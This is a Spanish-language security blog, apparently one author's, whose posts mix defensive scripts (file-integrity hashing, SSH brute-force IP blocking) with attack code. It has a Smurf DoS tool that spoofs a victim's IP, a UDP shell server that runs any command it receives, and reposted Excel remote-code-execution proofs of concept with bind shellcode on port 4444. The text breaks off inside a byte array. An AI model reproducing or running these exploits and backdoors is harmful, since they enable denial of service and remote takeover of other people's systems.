HIDS :: Detección de intrusos simple

A continuación se proponen 2 simples scripts para poder controlar las modificaciones en el sistema de ficheros de nuestro sistema.

El primero nos hace un hash MD5 de cada fichero de los directorios que le especificamos, el script es el siguiente:


#!/bin/bash
date
md5sum_dir() {
for file in `find $1`; do
if test -f $file
then
md5sum $file
fi
done
}
md5sum_dir "/bin"
md5sum_dir "/etc"
md5sum_dir "/sbin"
md5sum_dir "/usr/bin"
md5sum_dir "/usr/sbin"
md5sum_dir "/usr/etc"
md5sum_dir "/boot"
md5sum_dir "/var/www"
md5sum_dir "/lib"
md5sum_dir "/usr/lib"
md5sum_dir "/usr/local/bin"
date



Guardaremos el script en /usr/local/bin/integridad.sh y le daremos permisos de ejecución mediante: chmod +x /usr/local/bin/integridad.sh


NOTA: Una herramienta alternativa a este script es la proporcionada por The Coroner's Toolkit en la cual se puede reducir a esto:
# md5deep -r /bin /var/ww /etc > linux.md5



El segundo hará uso del primer script para obtener el hash de los ficheros y guardarlos en un fichero, comparará el fichero del día actual, con el del día anterior y enviará por correo electrónico las diferencias .

NOTA: Este script es una modificación del comentado aquí.

#!/usr/bin/perl

use Net::SMTP;

$MSG = "Modificaciones en los ficheros del servidor:\n\n";

system ("mv -f /var/log/.md5.1 /var/log/.md5.2");

system ("/usr/local/bin/integridad.sh > /var/log/.md5.1");


open CMD, "diff /var/log/.md5.1 /var/log/.md5.2 |";

while () { $MSG = $MSG . $_ }



# Envio de un correo de Alerta

$smtp = Net::SMTP->new('smtp.provider.com');

$smtp->mail('infointegridad@empresa.es');

$smtp->to('admin@empresa.es');

$smtp->data();

$smtp->datasend("Subject: Servidor: Integridad de ficheros\n\n");

$smtp->datasend($MSG);

$smtp->dataend();

$smtp->quit;


Guardaremos este escript tambien en /usr/local/bin/mail_md5.pl por ejemplo le daremos permisos de ejecución mediante:

# chmod +x /usr/local/bin/mail_md5.pl

Ahora solamente tendremos que agregar esta linea al crontab mediante:

crontab -e

00 08 * * * /usr/local/bin/mail_md5sum.pl

Esto hará que cada dia a las 8 de la mañana recibamos un correo con las modificaciones realizadas en las carpetas indicadas en el primer script.


NOTA: Por supuesto si un hacker accede a nuestro sistema y averigua este sistema, podría eliminar los ficheros de hash de /var/log/.md5.x por lo que si se opta por un sistema de detección de intrusos serio, lo mejor es instalar Tripwire.
Posted on 3:39 p. m. by skarvin and filed under , | 4 Comments »

Desarrollo :: Envío de e-mails mediante Perl

Este sencillo script en Perl nos permite enviar un correo electrónico, también podemos especificar un servidor smtp.


#!/usr/bin/perl


use Net::SMTP;

#Escribimos el cuerpo del mensaje

$MSG = "Correo de prueba!\n\n";

#Especificamos el servidor smtp

$smtp = Net::SMTP->new('smtp.provider.com');

#Origen

$smtp->mail('skarvin@gmail.com');

#Destino

$smtp->to('antonio@gemeil.com');

$smtp->data();

$smtp->datasend("Subject: Prueba Mail\n\n");

$smtp->datasend($MSG);

$smtp->dataend();

$smtp->quit;

Posted on 1:27 p. m. by skarvin and filed under | 0 Comments »

SOCKETS - Linux :: Shell UDP - Cliente


/******************************************************************************
* Módulo: Shell UDP - Cliente
******************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define MAX_SIZE 255
#define MAX_BUFF 2048


int main(int argc, char *argv[])
{
int sock; // Handler del socket
struct hostent *he; // Informacion de host
struct sockaddr_in h_addr,s_addr;
int addr_len;
int bytes; // Numero de bytes enviados
char msg[MAX_SIZE];
char resp[MAX_BUFF];

if (argc != 3)
{
fprintf(stderr, "usage: shell-udp-clnt address port\n");
exit (EXIT_FAILURE);
}

printf ("Shell UDP - Cliente\n\n");

/* Obtenemos los datos de la maquina */
if ((he = gethostbyname(argv[1]))==NULL) {
herror("No se ha podido localizar el host!");
exit (EXIT_FAILURE);
}
else
{
printf ("Intentando conectar a: %s\n",
inet_ntoa(*(struct in_addr *)he->h_addr));
}

/* Abrimos el socket */
if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1) {

perror( "No se ha podido crear el socket!\n");
exit (EXIT_FAILURE);
}

memset(&(h_addr.sin_zero), '\0', 8);
h_addr.sin_family = AF_INET;
h_addr.sin_port = htons(atoi(argv[2]));

/* Pasamos la IP de notacion de puntos y numeros a bytes */
if (inet_aton(argv[1], &h_addr.sin_addr)==-1) {

fprintf(stderr, "inet_aton() Dirección IP %s inválida!\n",argv[1]);
exit(1);
}

addr_len = sizeof(struct sockaddr);

while(1)
{
printf("shell-udp>");
fgets(msg,MAX_SIZE,stdin);

if ((bytes=sendto(sock, msg, strlen(msg), 0,
(struct sockaddr *)&h_addr, addr_len))==-1)
{
perror("No se ha podido enviar el mensaje!");
}

if (bytes=recvfrom(sock,resp,MAX_BUFF-1,0,
(struct sockaddr *)&s_addr,&addr_len))
{
resp[bytes]='\0';
printf("Response: %s\n",resp);
}

fflush(stdin);
}

close(sock);
return 0;
}

Posted on 3:14 p. m. by skarvin and filed under | 0 Comments »

SOCKETS - Linux :: Shell UDP - Servidor

/*****************************************************************************
* Módulo: Shell UDP - Servidor
*****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define MSG_LEN 2048

int main(int argc, char *argv[])
{
int sock; // handler del socket
struct sockaddr_in h_addr; // ip servidor
struct sockaddr_in c_addr; // ip cliente
int bytes; // numero de bytes enviados
char msg[MSG_LEN];
int size_addr;
char rsp2[MSG_LEN];
FILE *pipe_cmd;

if (argc != 2)
{
fprintf(stderr, "usage: shell-udp-srv port\n");
exit (EXIT_FAILURE);
}

printf ("Servidor UDP escuchando en el puerto %s\n\n",argv[1]);

if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)
{
perror( "\nNo se ha podido crear el socket!\n");
exit (EXIT_FAILURE);
}

h_addr.sin_family = AF_INET;
h_addr.sin_port = htons(atoi(argv[1]));
h_addr.sin_addr.s_addr=INADDR_ANY; // Nuestra ip
memset(&(h_addr.sin_zero), '\0', 8);


if(bind(sock,(struct sockaddr *)&h_addr,sizeof(struct sockaddr))==-1) {

perror("\nError asociando el puerto!\n");
exit(EXIT_FAILURE);
}

size_addr= sizeof(struct sockaddr);

while(1){

memset (msg,'\0',MSG_LEN);
memset (rsp2,'\0',MSG_LEN);

if ((bytes=recvfrom(sock,msg,MSG_LEN-1,0,
(struct sockaddr *)&c_addr,&size_addr))==-1) {

perror("\nError recibiendo el mensaje!\n");
exit(EXIT_FAILURE);
}

/* Ejecutamos el comando en el sistema */
if ((pipe_cmd=popen(msg,"r"))<0) {

printf("Error abriendo pipe");
exit(EXIT_FAILURE);
}

/* Leemos del pipe la respuesta del sistema y la almacenamos en rsp2 */
if ((fread(rsp2,MSG_LEN,1,pipe_cmd))<0) {

perror("\nError leyendo el mensaje!\n");
exit(EXIT_FAILURE);
}


/* Enviamos rsp2 al cliente */
if ((bytes=sendto(sock, rsp2, strlen(rsp2), 0,
(struct sockaddr *)&c_addr, sizeof(struct sockaddr)))==-1) {

perror("No se ha podido enviar el mensaje!");
}

fflush(pipe_cmd);
}

close(sock);
return 0;

}


Posted on 3:13 p. m. by skarvin and filed under | 0 Comments »

Bloqueo de IP' s “Molestas”

Bloqueo de IP’s “Molestas”

Este sencillo script está probado en CentOS 4.3 y agrega a /etc/hosts.deny todas aquellas IP’s que sobrepasen el límite de reintentos, intentando acceder mediante ssh con usuarios inexistentes o mediante ataques de diccionario. Las IP’s baneadas no pueden volver a conectar por ssh y reciben un “Connection Refused”. También se pueden especificar IP’s en la variable whitelist para evitar banear nuestras propias IP’s mediante ip spoofing.



#!/bin/sh


########################################
# @version 0.1
# @author skarvin
# Script de bloqueo a SSH por intentos erroneos
########################################

REINTENTOS=10
count=0
IP="0"
IP2="0"
whitelist="127.0.0.1,69.69.45.45";


function block_ip (){

if echo $whitelist | grep -v $1 > /dev/null; then

if cat /etc/hosts.deny | grep $1 > /dev/null; then
echo "$1 ya está baneada"
else
echo Baneando: $1
echo "sshd: $1" >> /etc/hosts.deny
fi
fi
}

#INTENTOS DE ACCESO CON USUARIO

#EXISTENTE Y PASSWORD INCORRECTO
for i in `cat /var/log/secure* | tr ' ' '#' | grep Failed | grep -v illegal`; do

IP=`echo $i | cut -c 40-200 | cut -d "#" -f 6`;

if [ "$IP" = "$IP2" ]; then
let count++

if [ $count > $REINTENTOS ]; then
block_ip $IP
count=0
fi

else
count=0
fi

IP2=`echo $i | cut -c 40-200 | cut -d "#" -f 6`;

done

#INTENTOS DE ACCESO MEDIANTE ATAQUES DE DICCIONARIO
for i in `cat /var/log/secure* | tr ' ' '#' | grep Failed | grep illegal`; do

IP=`echo $i | cut -c 40-200 | cut -d "#" -f 8`;
if [ "$IP" = "$IP2" ]; then
let count++

if [ $count > $REINTENTOS ]; then
block_ip $IP
count=0
fi

else
count=0
fi

IP2=`echo $i | cut -c 40-200 | cut -d "#" -f 8`;

done

Posted on 8:52 p. m. by skarvin and filed under | 8 Comments »

El ataque de los pitufos

Aunque hoy en día este ataque de DoS está en desuso, ilustra el uso de raw sockets para construir un paquete modificado spoofeando la IP de origen.










/*******************************************************************
Autor: skarvin
e-mail: skarvin@gmail.com

Este ataque realiza un ping con la ip de la victima a la direccion
ip de broadcast de su misma subred, con lo cual todos los ordenadores
de la red responderan a la víctima
********************************************************************/

#include <stdlib.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <net/ethernet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <malloc.h>
#include <ctype.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <fcntl.h>

u_long get_ipbcast(char *);
unsigned short in_cksum(unsigned short * , int );
int send_icmp_packet(unsigned long , unsigned long , char * , int, int);


int main(int argc, char **argv){
struct in_addr in_s,in_d;/*source,dest*/
char ip[28];
int n_pkts;

if(argc != 3){
printf("usage: %s victima num_pkts\n",argv[0]);
exit(EXIT_FAILURE);
}

/*procedemos a verificar la ip introducida*/
if(inet_addr(argv[1])==INADDR_NONE){
printf("Dirección IP incorrecta!");
exit(EXIT_FAILURE);
}

in_d.s_addr = get_ipbcast("eth0");
strcpy(ip,(char *)inet_ntoa(in_d));
n_pkts=atoi(argv[2]);
inet_aton(argv[1], &in_s);

printf("Enviando %d paquetes a la dirección de broadcast %s desde %s\n\n",n_pkts,ip,argv[1]);

/*enviamos los paquetes con solicitud de eco a la ip de broadcast*/
for(;n_pkts>0;n_pkts--)
send_icmp_packet(in_d.s_addr,in_s.s_addr," ",sizeof(" "), ICMP_ECHO);
}

u_long get_ipbcast(char *iface) {
/*Esta función devuelve la dirección de broadcast de la ip*/
int sd;
struct ifreq ifr;
struct in_addr inaddr;

if((sd=socket(AF_INET,SOCK_DGRAM,0))<0) {
perror("socket");
return 0;
}
bcopy(iface,ifr.ifr_name,IFNAMSIZ);
if(ioctl(sd,SIOCGIFBRDADDR,&ifr)<0) {
perror("ioctl(SIOCGIFADDR)");
return 0;
}
bcopy(&ifr.ifr_broadaddr.sa_data[2],&inaddr,sizeof(struct in_addr));
close(sd);
return inaddr.s_addr;

}
int send_icmp_packet(unsigned long dst_ip, unsigned long src_ip,
char * data, int data_size ,int icmp_type){

/* socket */
int sock;

/* Longitud de un paquete ICMP */
unsigned int buffer_size =
sizeof(struct iphdr) + sizeof(struct icmphdr) + data_size;

/* Paquete capaz con capacidad para un paquete ICMP */
unsigned char buffer[buffer_size];
memset(buffer, 0, buffer_size);

/* Cabecera IP */
struct iphdr *ip = (struct iphdr *)buffer;

/* Cabecera ICMP */
struct icmphdr *icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr));

/* Datos */
char *p_data = (buffer + sizeof(struct iphdr) + sizeof(struct icmphdr));
mempcpy (p_data, data, data_size);


/* Creación del socket */
if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) == -1) {

perror("socket()");
exit(EXIT_FAILURE);
}

/* Establece las opciones del socket */
int o = 1;
if( setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&o,sizeof(o)) == -1 ) {

perror("setsockopt()");
exit(EXIT_FAILURE);
}

/* Rellena la cabecera IP */
ip->version = 4;
ip->ihl = 5;
ip->id = htons(1234);
ip->saddr = src_ip;
ip->daddr = dst_ip;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->tot_len = buffer_size;
ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));

/* Rellena la cabecera ICMP */
icmp->type = icmp_type;
icmp->code = 0;
icmp->checksum = in_cksum((u_short *)icmp, sizeof(struct icmphdr)+data_size);;

/* Rellena la estructura sockaddr_in */
struct sockaddr_in addr;
addr.sin_family = AF_INET;

/* Envío del paquete */
if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&addr,
sizeof(struct sockaddr_in))) == -1 ) {

perror("send()");
exit(EXIT_FAILURE);
}


}
/*Funcion que calcula el checksum de un paquete
Código obrenido de http://www.w00w00.org/files/misc/spoof.c*/
unsigned short in_cksum(unsigned short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
Posted on 9:22 p. m. by skarvin and filed under | 0 Comments »

Prueba de concepto: MS Excel Remote Code Execution Exploit

En este script en perl, se demuestra donde radica la vulnerabilidad, parece ser que la librería hlink.dll no procesa correctamente los hipervínculos, por lo que un usuario podría crear un link especialmente creado para ejecutar código arbitrario.

En el script de abajo se muestra dicha vulnerabilidad.

###############################

# excelsexywarez.pl

# excel unicode overflow poc

# by kcope in 2006

# thanks to revoguard and alex

###############################

use Spreadsheet::WriteExcel;

my $workbook = Spreadsheet::WriteExcel->new("FUCK.xls");

$worksheet = $workbook->add_worksheet();

$format = $workbook->add_format();

$format->set_bold();

$format->set_color('red');

$format->set_align('center');

$col = $row = 5;

$worksheet->write($row, $col, "kcope in da house! Click on the link!!!", $format);

$a="AAAAAAAAAAAAAAAAAAAAAA\\" x 500;

$worksheet->write_url(0, 0, "$a", "LINK");

# milw0rm.com [2006-06-18]

Posted on 9:16 p. m. by skarvin and filed under | 0 Comments »

Prueba de concepto: MS Excel Remote Code Execution Exploit

Por fin ha visto la luz la prueba de concepto que explota la vulnerabilidad hasta hoy desconocida y que Microsoft avisaba en la siguiente url: http://www.microsoft.com/technet/security/advisory/921365.mspx desde el 19 de Junio, de los ficheros con extension .xls (Microsoft Excel).
Su autor es “Naveed Afzal”.

En el exploit de más abajo, se genera un fichero de Excel, que al ser ejecutado y clickando en el link, nos permite obtener una shell remota. (Escalofriante)

PD: Tal y como se especifica en los comentarios, el exploit es únicamente para fines educativos.


/*---------------------------------------------------------------------
*
* Microsoft Excel Remote Code Execution Proof Of Concept.
* Tested against : Excel 2000 on Win XP SP1 , and Win2000 SP4
* Description:
* Microsoft Excel is prone to a remote code execution issue
* which may be triggered when a malformed Excel document is opened.
* The issue is due to an error in Excel while handling malformed URL
* strings. there may be other ways to trigger this vulnerability,
* successful exploitation could allow an attacker to execute
* arbitrary code with the privileges of the user running Excel.
*
* Code execution is dependent upon certain factors including the
* overflow condition, the MS Excel version and the host OS and SP.
* If you cannot get it to work, attach it with the debugger check
* the stack layout and the rest is on your imagination. :) :)
*
* Compile with MS VC++ or g++ ,it will generate the Excel file
* Clicking the link in the file binds the shell ,
* C:\nc localhost 4444
*
* Advisories:
*
http://www.microsoft.com/technet/security/advisory/921365.mspx
*
http://www.securityfocus.com/bid/18422/
*
* Disclaimer:
* This Proof of concept code is for educational purposes only.
* Please do not use it against any system without authorization..
*
* Greetings:
* To all Pakistani Hackers and "script kiddies" :O :O :O
* Special thanks to salman bro.
*
* --//
* naveed afzal
*--------------------------------------------------------------------------*/

#include <string.h>
#include <fstream.h>
#include <stdio.h>

unsigned char ret_address[]="\x77\xF5\x76\xDE"; // WinXP SP1(english)
pop/pop/ret in NTDLL.DLL


//unsigned char ret_address[]="\x77\xF9\x2A\x9B"; // Win2K
SP4(english) jmp ebx

int seh_off = 4855; //SEH offset from the start of our buffer
//For win2k it maybe +24
//Check it in your debugger

int buff_size = 0x152E; //approximate your buffer size to fill the
stack beyond SEH
//it is variant for different Excel versions
//so again consult your debugger

// win32_bind - Shellcode , port = 4444 , thanks to
http://metasploit.com
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

//excel sheet formatting data bytes

unsigned char stream1[] = {
0xD0, 0xCF, 0x11, 0xE0, 0xA1, 0xB1, 0x1A, 0xE1, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x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, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x35, 0xED,
0x30, 0x38, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00, 0x58, 0x02, 0x22, 0x00, 0x02, 0x00, 0x00,
0x00, 0x31, 0x00, 0x15, 0x00,
0xC8, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x05, 0x00,
0x41, 0x72, 0x69, 0x61, 0x6C, 0x31, 0x00, 0x15, 0x00, 0xC8, 0x00,
0x00, 0x00, 0xFF, 0x7F, 0x90,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x41, 0x72,
0x69, 0x61, 0x6C, 0x31, 0x00,
0x15, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0x00, 0x41, 0x72, 0x69, 0x61, 0x6C, 0x31, 0x00, 0x15, 0x00,
0xC8, 0x00, 0x00, 0x00, 0xFF,
0x7F, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00,
0x41, 0x72, 0x69, 0x61, 0x6C,
0x31, 0x00, 0x16, 0x00, 0xA0, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90,
0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x06, 0x00, 0x54, 0x61, 0x68, 0x6F, 0x6D, 0x61, 0x31,
0x00, 0x15, 0x00, 0xC8, 0x00,
0x00, 0x00, 0x0C, 0x00, 0x90, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x41, 0x72,
0x69, 0x61, 0x6C, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF5, 0xFF, 0x20, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,
0xE0, 0x00, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF5, 0xFF, 0x20, 0x00, 0x00,
0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,
0xE0, 0x00, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF5, 0xFF, 0x20, 0x00, 0x00,
0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,
0xE0, 0x00, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF5, 0xFF, 0x20, 0x00, 0x00,
0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,
0xE0, 0x00, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF5, 0xFF, 0x20, 0x00, 0x00,
0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,
0xE0, 0x00, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF5, 0xFF, 0x20, 0x00, 0x00,
0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,
0xE0, 0x00, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF5, 0xFF, 0x20, 0x00, 0x00,
0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,
0xE0, 0x00, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF5, 0xFF, 0x20, 0x00, 0x00,
0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,
0xE0, 0x00, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x2B, 0x00,
0xF5, 0xFF, 0x20, 0x00, 0x00,
0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,
0xE0, 0x00, 0x14, 0x00, 0x00,
0x00, 0x29, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF8, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x2C, 0x00,
0xF5, 0xFF, 0x20, 0x00, 0x00,
0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,
0xE0, 0x00, 0x14, 0x00, 0x00,
0x00, 0x2A, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF8, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x09, 0x00,
0xF5, 0xFF, 0x20, 0x00, 0x00,
0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20,
0xE0, 0x00, 0x14, 0x00, 0x06,
0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x08, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC0, 0x20, 0x93, 0x02, 0x04, 0x00, 0x10, 0x80, 0x03, 0xFF,
0x93, 0x02, 0x04, 0x00, 0x11,
0x80, 0x06, 0xFF, 0x93, 0x02, 0x04, 0x00, 0x12, 0x80, 0x04, 0xFF,
0x93, 0x02, 0x04, 0x00, 0x13,
0x80, 0x07, 0xFF, 0x93, 0x02, 0x04, 0x00, 0x00, 0x80, 0x00, 0xFF,
0x93, 0x02, 0x04, 0x00, 0x14,
0x80, 0x05, 0xFF, 0x92, 0x00, 0xE2, 0x00, 0x38, 0x00, 0x00, 0x00,
0x00, 0x00, 0xFF, 0xFF, 0xFF,
0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00,
0xFF, 0x00, 0xFF, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x80, 0x00,
0x00, 0x00, 0x00, 0x80, 0x00,
0x00, 0x00, 0x00, 0x80, 0x00, 0x80, 0x80, 0x00, 0x00, 0x80, 0x00,
0x80, 0x00, 0x00, 0x80, 0x80,
0x00, 0xC0, 0xC0, 0xC0, 0x00, 0x80, 0x80, 0x80, 0x00, 0x99, 0x99,
0xFF, 0x00, 0x99, 0x33, 0x66,
0x00, 0xFF, 0xFF, 0xCC, 0x00, 0xCC, 0xFF, 0xFF, 0x00, 0x66, 0x00,
0x66, 0x00, 0xFF, 0x80, 0x80,
0x00, 0x00, 0x66, 0xCC, 0x00, 0xCC, 0xCC, 0xFF, 0x00, 0x00, 0x00,
0x80, 0x00, 0xFF, 0x00, 0xFF,
0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x80, 0x00,
0x80, 0x00, 0x80, 0x00, 0x00,
0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xCC,
0xFF, 0x00, 0xCC, 0xFF, 0xFF,
0x00, 0xCC, 0xFF, 0xCC, 0x00, 0xFF, 0xFF, 0x99, 0x00, 0x99, 0xCC,
0xFF, 0x00, 0xFF, 0x99, 0xCC,
